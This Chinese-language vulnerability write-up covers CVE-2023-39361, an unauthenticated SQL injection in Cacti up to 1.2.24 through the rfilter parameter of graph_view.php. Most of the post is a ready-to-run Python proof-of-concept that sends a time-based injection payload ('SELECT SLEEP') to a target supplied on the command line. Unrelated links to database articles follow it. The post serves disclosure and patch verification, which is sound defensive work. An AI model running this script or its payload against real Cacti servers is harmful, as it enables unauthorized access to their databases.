Cacti 未经身份验证SQL注入漏洞

0x00 前言

Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。

Cacti是通过 snmpget来获取数据,使用 RRDtool绘画图形,而且你完全可以不需要了解RRDtool复杂的参数。

0x01 漏洞描述

漏洞存在于从graph_view.php文件调用的growt_right_pane_tree函数中。

在tree_content的情况下,通过html_validate_tree_vars函数验证用户输入,随后,如果tree_id参数大于0,则调用growt_right_pane_tree函数。

0x02 CVE编号

CVE-2023-39361

0x03 影响版本

Cacti<=1.2.24

0x04 测试POC

代码语言:javascript

代码运行次数:0

运行

AI代码解释

复制代码
import argparse
import requests
import sys
import urllib3


#import os
#os.environ['http_proxy'] = 'http://localhost:8080'


sleep_time = 10
payload = f""""OR ""="(("));SELECT SLEEP({sleep_time});-- -"""


def exploit():
    url = f"{target}/graph_view.php"


    params = {
        "action":"tree_content",
        "node":"1-1-tree_anchor",
        "rfilter":payload
    }


    print('[+] Sending payload...')
    print(f"[+] Payload: {payload}")
    session.get(url,params=params)
    
if __name__=='__main__':
    urllib3.disable_warnings()
    parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graph_view.php 'rfilter' SQL Injection (guest access)")
    parser.add_argument('-t','--target',help='',required=True)
    args = parser.parse_args()
    
    target = args.target
    session = requests.Session()


    exploit()
相关推荐
恋红尘9 分钟前
Mysql
数据库·mysql
paishishaba20 分钟前
数据库设计原则
数据库
曹牧1 小时前
oracle:NOT IN
数据库·oracle
Jeled2 小时前
Retrofit 与 OkHttp 全面解析与实战使用(含封装示例)
android·okhttp·android studio·retrofit
爬山算法2 小时前
Redis(66)Redis如何实现分布式锁?
数据库·redis·分布式
Super Rookie2 小时前
MongoDB 自动化脚本安装方案
数据库·mongodb·自动化
Code哈哈笑2 小时前
【MongoDB 基本语法】数据库和集合的基本操作--探秘 MongoDB
数据库·mongodb
恋红尘3 小时前
Redis面试八股
数据库·redis·面试
直有两条腿3 小时前
【数据迁移】HBase Bulkload批量加载原理
大数据·数据库·hbase
言之。4 小时前
ClickHouse 数据更新策略深度解析:突变操作与最佳实践
服务器·数据库·clickhouse